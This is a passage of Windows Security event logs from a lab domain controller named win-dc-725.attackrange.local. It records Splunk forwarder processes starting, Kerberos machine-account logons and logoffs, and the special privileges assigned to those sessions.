new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255423 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255425 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255424 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255427 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255426 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255428 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255430 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x309EEF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62578 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255429 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x309EEF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:11:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255431 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x309EEF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:11:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255434 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30AAEA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:11:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255433 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30AAEA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62586 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:11:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255432 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30AAEA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255440 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30ADBB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255439 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30ADBB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62589 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255438 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30ADBB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255437 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30AD4F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255436 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30AD4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62588 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255435 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30AD4F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255452 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255451 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B173 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255450 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B281 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B2C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255448 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30B33B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62594 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255447 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B33B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255446 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30B2C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 62593 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255445 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - 